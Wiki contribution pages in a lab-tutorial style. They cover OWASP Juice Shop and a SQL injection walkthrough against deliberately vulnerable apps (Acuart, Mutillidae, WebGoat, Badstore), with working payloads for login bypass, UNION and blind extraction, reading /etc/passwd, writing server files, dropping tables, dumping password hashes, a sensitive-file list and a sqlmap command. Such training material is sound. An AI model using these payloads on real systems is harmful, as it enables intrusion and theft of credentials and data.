Elvis Wiki - User contributions [en]

OWASP Juice Shop

2024-12-17T21:01:01Z

LJahn:

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.</br>

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:</br>
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.</br>
*The downloaded file will be extracted to any path.</br>
*To install all necessary dependencies you first need to run the command ''"npm install"''</br>
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''</br>
[[File:JS Terminal.PNG|500px|center]]</br>
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''</br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.</br>
*'''or 1 = 1; --'' </br>
[[File:JS sqllogin.PNG|500px|center]]</br>
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.</br>
*'''or 1 = 1 and email not like ('% admin% '); --'' </br>
*'''or 1 = 1 and email like ('% bender% '); --'' </br>
[[File:JS loggedin.PNG|500px|center]]

===NoSQL Manipulation challenge===

As another example, we can look at the NoSQL Manipulation (also known as NoSQL Injection) challenge, where all of the product reviews, in the OWASP Juice Shop, have to be updated at the same time.

The first step is to create an account. Then we can log in with the created data.

After we are authenticated to the site, we can leave a review under a product, to analyse the sites behaviour. In this example, we leave the review "Best Juice in Town".

[[File:OWASP JuiceShop NoSQL Mani Put.png|1000px|center]]

If we look at the inspector, we can see that the review was successfully created.
Now we can edit the previously created review by hovering over the review, clicking "edit" and writing "Worst Juice in Town".
After we submit the patch-request, we can analyse it.

[[File:OWASP JuiceShop NoSQL Mani Patch.png|1000px|center]]

Here we can see the payload, which contains an "id" as well as a "message". We will now try to update all reviews at the same time, by changing the request payload. To achieve this, we can use the MongoDB operand ''$ne'', which stands for "not equal to". This operand is then nested into the payload and the value is set to an id which (likely) none of the reviews in the Juice Shop has. It now looks like this: ''{”id”:{”$ne”:-1},”message”:”Hurray for the NoSQL Injection”}''.

We can now copy this request into postman [https://www.postman.com/]. As a header, we need to set the "Authorization Bearer" and the endpoint of the request is <nowiki>"http://localhost:3000/rest/products/reviews"</nowiki>.

[[File:OWASP JuiceShop NoSQL Mani Postman.png|1000px|center]]

After we send the request, we have sucessfully solved the challenge and updated the reviews.

[[File:OWASP JuiceShop NoSQL Mani ChallengeSolved.png|1000px|center]]

Such an exploit can be prevented, by sanitizing the user-input/ the endpoints. In this case, this can be achieved by using the module "express-mongo-sanitize" [https://www.npmjs.com/package/express-mongo-sanitize].

=== Manipulating Basket Item Quantities ===

In this challenge we exploit the system to set a basket item's quantity to a negative value, something that cannot be achieved via the standard user interface.

'''Step 1: Log In and Adding an Item to the Basket'''

The first step is to log into the OWASP Juice Shop as any user. After logging in, add at least one item to your shopping basket.

[[File:Owaspjuiceshopaddtocart.png|600px|center]]

'''Step 2: Observing Basket Behavior via the UI'''

Once an item is added, you'll notice that reducing the quantity of an item to less than ''1'' is not possible using the user interface. To understand how the quantity changes are handled, open your browser's ''Developer Tools''.

# Navigate to the ''Network'' tab.
# Use the UI to increase or decrease the quantity of a basket item.
# Observe the network requests being made. Specifically, you'll notice ''PUT'' requests to the following endpoint:
<pre>
http://localhost:3000/api/BasketItems/{id}
</pre>
Here, ''{id}'' corresponds to the unique identifier of the basket item being updated.

'''Step 3: Memorize the ''id'' of a Basket Item'''

From the Network tab, locate and note the ''id'' of any item in your basket. In this example, the ''id'' is 10.

[[File:OwaspjuiceshopPUTrequest.png|600px|center]]

'''Step 4: Capture the Authorization Token'''

To replicate and manipulate the ''PUT'' request, you'll need the ''Authorization Token''. Follow these steps:

# In the ''Network'' tab, locate any HTTP request made by the browser after you were logged in.
# Copy the ''Authorization'' header, which looks like:
<pre>
Authorization: Bearer <YOUR_TOKEN>
</pre>
Replace ''<YOUR_TOKEN>'' with the actual token value.

'''Step 5: Craft the Manipulated PUT Request'''

Now, we'll send a manually crafted ''PUT'' request to set the basket item's quantity to a negative value (e.g. with a tool like Postman).

'''Request Details:'''
* ''Method'': PUT
* ''URL'': http://localhost:3000/api/BasketItems/{id}
Replace ''{id}'' with the basket item's ''id'' (here, ''10'').

* '''Headers''':
<pre>
Content-Type: application/json
Authorization: Bearer <YOUR_TOKEN>
</pre>

* '''Body''' (JSON):
<pre>
{
"quantity": -100
}
</pre>

[[File:OwaspjuiceheaderspostmanPUT.png|600px|center]]
[[File: OwaspjuicebodypostmanPUT.png |600px|center]]

'''Step 6: Sending the Request and Verifying the Exploit'''

Once the manipulated request is submitted, the server will process it without validating the negative quantity.

* Return to the ''Your Basket'' page at:
<pre>
http://localhost:3000/#/basket
</pre>
* You will see the item now has a negative quantity.
* Click on ''Checkout'' to issue the order with the negative quantity and successfully solve the challenge.

[[File:Owaspjuicenegativequantitycart.png|600px|center]]

[[File:Owaspjuiceordersummarynegativevalue.png|600px|center]]

Such vulnerabilities arise due to improper input validation on the server side. To mitigate this issue, developers should:

* Implement server-side validation to ensure that input values like quantity are within allowed ranges (e.g., greater than zero).
* Use libraries or frameworks that provide input sanitization and validation capabilities.
* Perform security testing to identify these types of flaws during development.

There is a documentation provided by the contributers to the OWASP Juice Shop that also give more information on how to mitigate and prevent such exploits. [[https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html]]

[[Category:Documentation]]

File:OwaspjuiceheaderspostmanPUT.png

2024-12-17T20:52:45Z

LJahn:

File:OwaspjuicebodypostmanPUT.png

2024-12-17T20:52:35Z

LJahn:

File:Owaspjuicenegativequantitycart.png

2024-12-17T20:52:23Z

LJahn:

File:Owaspjuiceordersummarynegativevalue.png

2024-12-17T20:52:13Z

LJahn:

File:OwaspjuiceshopPUTrequest.png

2024-12-17T20:46:58Z

LJahn: LJahn uploaded a new version of File:OwaspjuiceshopPUTrequest.png

File:OwaspjuiceshopPUTrequest.png

2024-12-17T20:44:28Z

LJahn: LJahn uploaded a new version of File:OwaspjuiceshopPUTrequest.png

File:OwaspjuiceshopPUTrequest.png

2024-12-17T20:42:19Z

LJahn:

File:Owaspjuiceshopaddtocart.png

2024-12-17T20:37:21Z

LJahn:

Acuart

2024-12-17T20:25:43Z

LJahn:

The Acunetix Acuart website is part of a suite of intentionally insecure web applications provided by Acunetix, a company specializing in automated security testing tools. Other notable applications in this suite include Acuforum[[http://testasp.vulnweb.com]], Acublog[[http://testaspnet.vulnweb.com]], and SecurityTweets.[[http://testhtml5.vulnweb.com]]

Acuart specifically simulates an e-commerce art gallery where users can browse categories, artists, and artworks, as well as post comments.

The Acuart website is only accessible online through the official website provided by Acunetix. It does not offer downloadable application code for local execution, limiting the environment to its hosted version. [[http://testphp.vulnweb.com]]

The platform serves as a testing and demonstration tool for the Acunetix Vulnerability Scanner [[https://www.acunetix.com/plp/acunetix-scanner]], an automated solution for identifying security flaws in web applications.

Unlike websites like [[OWASP Juice Shop]], Acuart is not primarily intended as a learning environment for hacking techniques and lacks comprehensive documentation of its architecture and vulnerabilities. There is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL injections, cross-site scripting (XSS) and cross-site request forgery (CSRF). [[http://testphp.vulnweb.com]]
There are also no real-time notifications that provide feedback on successfully executed attacks.

== Architecture ==

'''Frontend'''

The user interface of Acuart is built using HTML, CSS, and JavaScript.

The frontend provides a very simple, straightforward experience for browsing art categories, viewing artists, and interacting with artworks.

'''Backend'''

The backend of the application is implemented in PHP and is responsible for handling user inputs, interactions, and communication with the database.

'''Database'''

Acuart relies on a MySQL database to store its data, including user-generated content such as comments, categories, and artwork details.

== Possible Executable Attacks ==

Like mentioned before, there is only a general note on the Acuart website that refers to possible security vulnerabilities such as SQL Injection (SQLi), Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF) [[http://testphp.vulnweb.com]].

For information on and demonstration of possible SQL Injection attacks in Acunetix Acuart see [[SQL Injection Examples on Known Vulnerable Web Applications]].

[[Category:Documentation]]

Acuart

2024-12-17T19:33:45Z

LJahn: Created page with "The Acunetix Acuart website is part of a suite of intentionally insecure web applications provided by Acunetix, a company specializing in automated security testing tools. Other notable applications in this suite include Acuforumhttp://testasp.vulnweb.com, Acubloghttp://testaspnet.vulnweb.com, and SecurityTweets.http://testhtml5.vulnweb.com Acuart specifically simulates an e-commerce art gallery where users can browse categories, artists, and artworks,..."

SQL Injection Examples on Known Vulnerable Web Applications

2024-12-17T18:41:12Z

LJahn: /* Methodology */

== Summary ==
This is a documentation of various [[SQL Injection]] attacks performed on well-known and also not so popular vulnerable web applications. DRAFT

== Requirements ==

* Operating system:

== Methodology ==
Each example contains a link to the vulnerable web application or to a tutorial how to set it up, unless it is a vulnerable website that is just accessed online. Web applications used:
* [[Acuart]]
* [[OWASP Mutillidae]]
* [[DVWA]]
* [[WebGoat]]
* [[BWAPP]]
* Badstore

Each web application is listed below in separate chapters, providing some examples of the SQLi. This Wiki also offers a brief overview over the general types of SQL injection, another somewhat different overview can also be found here: [[SQL Injection]].

== Overview - Types of SQL injection <ref>Acunetix, ''Types of SQL Injection (SQLi)'', 2022, accessed on: 05.01.2022. [Online]. Available: https://www.acunetix.com/websitesecurity/sql-injection2/</ref> ==
=== In-band SQLi (Classic SQLi) ===
In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. In-band SQL Injection occurs when an attacker is able to use the same communication channel to both launch the attack and gather results [https://www.acunetix.com/websitesecurity/sql-injection2/ [1]]. There are two under categories of this SQLi type.
* <b>Error-based SQLi</b>
Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. While errors are very useful during the development phase of a web application, they should be disabled on a live site, or logged to a file with restricted access instead, so that no attacker can see error information displayed directly on the website.
* <b>Union-based SQLi</b>
Union-based SQLi is an in-band SQL injection technique that uses the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.

=== Inferential SQLi (Blind SQLi) ===
Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an inferential SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server.
* <b>Boolean-based (content-based) Blind SQLi</b>
This technique functions via sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This way, the attacker can ask "true" and "false" questions and in this way GUESS a lot of essential information about the database, such as table/column/attribute names, users, passwords and much more.
* <b>Time-based Blind SQLi</b>
Sends an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. The reason why the previous category is called content-based compared to this, is that here the true/false questions are based on returning the same result with a delay, whilst the content-based returns a different result.

=== Out-of-band SQLi ===
Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results. Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.

== Acuart ==
This is a web application (http://testphp.vulnweb.com/) created by Acunetix as a test and demonstration site for Acunetix Web Vulnerability Scanner <ref>Acuart test and demonstration site, 2022, accessed on: 05.01.2022. [Online]. Available: http://testphp.vulnweb.com/</ref><ref>Acunetix web vulnerability scanner, 2022, accessed on: 05.01.2022. [Online]. Available: https://www.acunetix.com/</ref>. Following are some examples categorized by the previously listed SQLi types on this vulnerable web application.
* <b>Error-based SQLi</b>
The URL we are targeting is http://testphp.vulnweb.com/artists.php?artist=1, which we want to manipulate. Somehow we want to pass a wrong SQL query to the backend database, to see if we receive an error message. A vulnerable web application will show one, while a secure server should never show error messages to regular website visitors. <br>
Now we try adding a single quote to the SQL query, which generates an error message as shown in the following screenshot.
<div><ul>
<li style="display: inline-block;"> [[File:Error1.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=1%27]] </li>
</ul></div>
Next, we try inserting an ORDER-BY clause into the query, which will tell us how many columns there are in the current table and will display the corresponding column. The URL used is http://testphp.vulnweb.com/artists.php?artist=1+order+by+50, estimating the column number at 50. This will generate the same error message as the above screenshot shows, which tells us there are less than 50 columns. By trial and error, the correct number of columns is 3, seen as http://testphp.vulnweb.com/artists.php?artist=1+order+by+3 no longer displays an error (as can be seen in the following screenshot), but the contents of the first column of the <i>artists</i> table.
<div><ul>
<li style="display: inline-block;"> [[File:Error2.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=1+order+by+3]] </li>
</ul></div>
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Conclusion: </b>This SQLi example demonstrated responses of the web application via producing error messages and using these to gather information about the backend database.</div>

* <b>Union-based SQLi</b>
We will now utilize the UNION query, which allows us to access values from other tables as well by appending the UNION query to our original query. First, we can try using a negative ID, as it is unlikely to be an actual used ID n a database, and append the UNION query, enumerating the values we want. The number of values must be equal to the actual number of columns of the table, otherwise it won't work. From the previous example we know the number of columns to be three, so we must use three values in our query, which will then look like this: http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,3.
<div><ul>
<li style="display: inline-block;"> [[File:Union image.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,3]] </li>
</ul></div>
In the above screenshot, we can see where our values will be shown (the numbers 2 and 3). These may also be hidden, in which case the page needs to be inspected in the browser to reveal hidden text. Now that we know where to look for the values, we can try to extract some useful information, like database name, version or current user.
<div><ul>
<li style="display: inline-block;"> [[File:Union image2.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,version(),current_user()]] </li>
</ul></div>

We can also insert a whole new statement instead of one of the values, to extract more information. An example would be http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()) to view all tables.
<div><ul>
<li style="display: inline-block;"> [[File:Union image3.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())]] </li>
</ul></div>
You could also view all columns of a specified table once you know the table names:
<div><ul>
<li style="display: inline-block;"> [[File:Union-columns.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27artists%27)]] </li>
</ul></div>
To view what information is saved about each user in the "users" table, it would look like this:
<div><ul>
<li style="display: inline-block;"> [[File:Users.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27users%27)]] </li>
</ul></div>
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Conclusion: </b>These SQLi examples demonstrated responses of the web application via extracting information from the backend database utilizing the UNION query. This allowed inserting database functions and separate SELECT statements to formulate new queries and effectively extract column/table names and values.</div>

* <b>Boolean-based/Blind SQLi</b>
This type of SQLi does not display the actual content from the database like the previous examples, but rather displays two different views depending on whether the query sent to the database returns true or false. We start by determining how the web application reacts with a true query. For this, we use an "always true" query, such as http://testphp.vulnweb.com/artists.php?artist=1+AND+1=1. Afterward, we use an always false query, such as http://testphp.vulnweb.com/artists.php?artist=1+AND+1=2. This offers two different outcomes, as seen in the following figure.
<div><ul>
<li style="display: inline-block;"> [[File:True-false.PNG|thumb|none|800px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27users%27)]] </li>
</ul></div>
Knowing how the database reacts to a true/false query now allows us to ask it specific questions:<br>
- How long is the name of the database? We can guess the number of letters.<br>
- What is the name of users/tables/columns/the database itself? We can guess each letter.<br><br>
Such a query to guess the length of the database name would look like this: http://testphp.vulnweb.com/artists.php?artist=1+AND+(length(database()))=6 <br>
To guess each letter of i.e. the first table would look like this: http://testphp.vulnweb.com/artists.php?artist=1+AND+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)))%3E100. Here, ASCII values are used, i.e. 100. The question is whether the first letter is bigger than 100. This query is false, telling us the first letter is in fact smaller than 100 and turns out to be 97, which corresponds to letter "a".
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Conclusion: </b>This type of SQLi is more exhausting to execute, as the server can only answer YES or NO. It won't just provide a list of items like the UNION-based. The previous examples demonstrate some of the "questions" the attacker can ask, however the sky is the limit. Any yes/no question is possible here and offers a great way to gather information.</div>

* <b>Time-based/Blind SQLi</b>
To test against this vulnerability, use the SLEEP() function like this: http://testphp.vulnweb.com/artists.php?artist=1-SLEEP(5). If the response from the web application is delayed, the application is vulnerable. When a query is true, the database lags, and when it is false, there won't be a delay. This way the attacker can ask specific true/false queries just like with the boolean-based SQLi. A true query would be http://testphp.vulnweb.com/artists.php?artist=1-IF((length(database()))=6,SLEEP(5),0), as the database name is 6 letters long. Therefore a false query could be for example http://testphp.vulnweb.com/artists.php?artist=1-IF((length(database()))=7,SLEEP(5),0), which loads right away without delay.
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Conclusion: </b>To exploit this vulnerability is a somewhat slower process than the boolean-based SQLi, as it always takes some time to get a response from a database. The "sleep" function also looks different for each kind of database, so the knowledge of the used server is necessary.</div>

== OWASP Mutillidae ==
A dedicated wiki article with an explanation of this vulnerable web application can be found here: [[OWASP Mutillidae]]. We will now focus on the SQL injection in the "OWASP 2017" category, which looks like this:
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae1.png|thumb|none|800px|Overview of SQL injection in OWASP Mutillidae]] </li>
</ul></div>
* <b>SQLi - Extract Data</b>
We will try for an error-based SQLi, inserting a false query. The error-message that is displayed afterwards gives us a lot of information about the backend structure, and how the SQL query looks like.
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae2.png|thumb|none|800px|Error message]] </li>
</ul></div>
Now we insert <b>' OR 1=1 -- </b> (with whitespace behind the double dash) which executed the query <b>SELECT * FROM accounts WHERE username='' OR 1=1</b>, which always returns true, thus returns the "accounts" table
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae3.png|thumb|none|500px|Extracts all entries from the "accounts" table]] </li>
</ul></div>
We will try the union-based SQLi now. To do this we must match the number of columns. Let's first try this query: <b>' union select null -- </b>. We get this error:
error: The used SELECT statements have a different number of columns
We keep appending values to increase the number of columns until we get no error with the query <b>' union select 1,2,3,4,5,6,7 -- </b>:
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae4.png|thumb|none|500px]] </li>
</ul></div>
Now that we know which values are displayed, we can replace <b>2,3,4</b> with the data we want to extract.
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae5.png|thumb|none|500px|Get database name and version]] </li>
</ul></div>
To extract information about the tables, use the query <b>' union select 1,table_name,null,null,5,6,7 from information_schema.tables where table_schema = 'mutillidae' -- </b>:
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae6.png|thumb|none|500px|Get database name and version]] </li>
</ul></div>

* <b>SQLi - Reading and writing data on the Webserver</b>
We can use the “LOAD_FILE()” operator to read out the contents of any file contained within the webserver <ref>David Artykov, ''Exploiting SQL injection vulnerabilities'', July 2020, Purple Team, accessed on: 05.01.2022. [Online]. Available: https://medium.com/purple-team/exploiting-sql-injection-vulnerabilities-76df9b85dd7</ref>. We will typically check for the “/etc/passwd” file to see if we get lucky and scoop usernames and passwords to possibly use in brute force attacks later. Below is a list of some sensitive files on Linux systems:
/proc/cmdline
/etc/system.d
/etc/rc.*
/etc/init.*
/etc/profile
~/.bash_profile
~/.bash_login
~/.profile./home/user/.bashrc
/etc/bash.bashrc
/etc/profile.d/
/etc/hosts
/etc/resolv.conf
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/pam.d
/usr/bin
/usr/local/bin
To read the contents of the “/etc/passwd” file, we enter the query <b>' union select 1,load_file('/etc/passwd'),3,4,5,6,7 -- </b>:
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae7.png|thumb|none|800px|Read data from webserver's /etc/passwd]] </li>
</ul></div>
To write into a file on the server, use "into outfile". An example query would look like this: <b>' union select 1,'PS: This is a hacker',3,4,5,6,7 into outfile '/tmp/hello.txt' -- </b>
We can verify the created file.
<div><ul>
<li style="display: inline-block;"> [[File:Mutillidae8.png|thumb|none|500px|Read data from webserver's /etc/passwd]] </li>
</ul></div>

* <b>SQLi - Bypass Authentication</b>
This category lands us on the login page. When we enter an always true query, such as <b>' OR 1=1 -- </b>, we get logged into the web application.

* <b>SQLMap</b>
SQLMap is a tool for detecting and taking advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run their own SQL statement, read specific files on the file system and more <ref>Kali Tools Page, ''sqlmap'', accessed on: 05.01.2022. [Online]. Available: https://www.kali.org/tools/sqlmap/</ref>.
To execute SQLMap, first we want to enter false credentials onto the Mutillidae login page, and copy the URL that this query creates. Then we use this URL in our SQLMap command, which looks like this (the IP is no longer localhost, because the SQLMap was executed on the Mutillidae that is on the Metasploitable VM by default):
sudo sqlmap -u "http://192.168.0.105/mutillidae/index.php?page=user-info.php&username=test&password=1234&user-info-php-submit-button=View+Account+Details"

== WebGoat ==
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons <ref>WebGoat Github, ''WebGoat'', 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat</ref>. The documentation wiki can be found here: [[WebGoat]]. For details please refer to the official [https://github.com/WebGoat/WebGoat GitHub]. <br><br>
There are four under-categories in the SQLi category:
* SQLi intro
* SQLi advanced
* SQLi mitigation
* Path traversal
In the screenshot below, the overview of different challenges/lessons is available:
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat2.png|thumb|none|600px|Home page]] </li>
</ul></div>
We will be focusing on SQL injection, which is the A1 category above. The following screenshots are examples from the <b>SQLi intro</b> category:
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat3.png|thumb|none|500px|String SQL injection]] </li>
<li style="display: inline-block;"> [[File:Webgoat4.png|thumb|none|500px|Numeric SQL injection]] </li>
</ul></div>
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat5.png|thumb|none|500px|Compromising confidentiality]] </li>
<li style="display: inline-block;"> [[File:Webgoat6.png|thumb|none|500px|Compromising integrity, Authentication TAN: <b>3SL99A'; UPDATE employees SET salary=10000000 WHERE auth_tan='3SL99A' --</b>]] </li>
</ul></div>
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat7.png|thumb|none|500px|Action contains: <b>update'; drop table access_log --</b>]] </li>
</ul></div>
Following are examples from the category <b>SQLi advanced</b>:
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat8.png|thumb|none|500px|Name: <b>update'; select * from user_system_data;--</b>]] </li>
<li style="display: inline-block;"> [[File:Webgoat9.png|thumb|none|500px|An alternative solution--> <b>' union select user_name, password, cookie, 4, 5, 6, 7 from user_system_data; -- </b> <br><br>When working with the UNION operator, there are two rules that need to be kept in mind, which also explain the syntax of the injected command:<br><br>
* The number of columns selected in each statement must be the same.<br><br>
* The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …) SELECT Statement. The Same applies to all other columns.]] </li>
</ul></div>

== Badstore ==
The VM can be downloaded [https://www.vulnhub.com/entry/badstore-123,41/ here]<ref>Vulnhub, ''Badstore: 1.2.3'', 24 Feb 2004, Badstore, accessed on: 25.01.2022. [Online]. Available: https://www.vulnhub.com/entry/badstore-123,41/</ref>. After setting up the VM, you need to find its IP address to be able to access the web interface from another VM. In our case, Badstore's IP address is 192.168.0.113.<br>
[[File:Badstore1.PNG|thumb|none|500px| Landing page of Badstore]]

We navigate to the login page first. To try for a basic SQL injection vulnerability, we will try entering a hyphen. This shows the following error message from the database, revealing a vulnerability to error-based SQLi.
DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd41d8cd98f00b204e9800998ecf8427e'' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 1144.

We now test the search field, and search for "test1". Below can be seen the reaction of the server, which reveals the whole SQL query.
[[File:Badstore2.PNG|thumb|none|500px| Landing page of Badstore]]
Here it can be experimented with all the previously mentioned techniques. We will focus on gaining access to the database via finding the user login data.<br><br>

Now let's look at the "userdb" table, whose name can be guessed based on the name of "itemdb" table. This has 4 columns, as can be seen below with the query <b>1’=’0’ UNION SELECT 100, 200, 300, 1000 from userdb #</b>.
[[File:Badstore3.PNG|thumb|none|600px| query <b>1’=’0’ UNION SELECT 100, 200, 300, 1000 from userdb #</b> revealing where to look for extracted values from the database]]
To find out the field names, we can inspect the login page, which reveals the following information:
[[File:Badstore4.PNG|thumb|none|600px| Inspect register form of login page]]
We will extract the users with their emails, full names and password hashes:
[[File:Badstore5.PNG|thumb|none|600px| Users list with <b>xx' IN (itemnum,sdesc,ldesc) union select email,fullname,passwd,123 from userdb -- </b>]]
This is an MD5 hash, which can be cracked with the tool "John" in Kali Linux.
[[File:Badstore6.PNG|thumb|none|500px| Revealed passwords]]

== DVWA ==
The so-called damn vulnerable web app (DVWA) is a vulnerable PHP / MySQL web service <ref>DVWA, 2022, accessed on: 05.01.2022. [Online]. Available: http://web.archive.org/web/20220704004431/http://www.dvwa.co.uk//</ref><ref>DVWA Github, 2022, accessed on: 05.01.2022. [Online]. Available: https://github.com/digininja/DVWA</ref>. For the wiki article with a tutorial on how to set up the DVWA and specific SQLi examples, please refer to [[DVWA]] wiki.

== BWAPP ==
The BWAPP, the so-called buggy web application, is a PHP application that uses a MySQL database. It is documented in the wiki article [[BWAPP]]. There is a tutorial on installation and examples of the SQLi.

== References ==
<references />

[[Category:Pentesting]]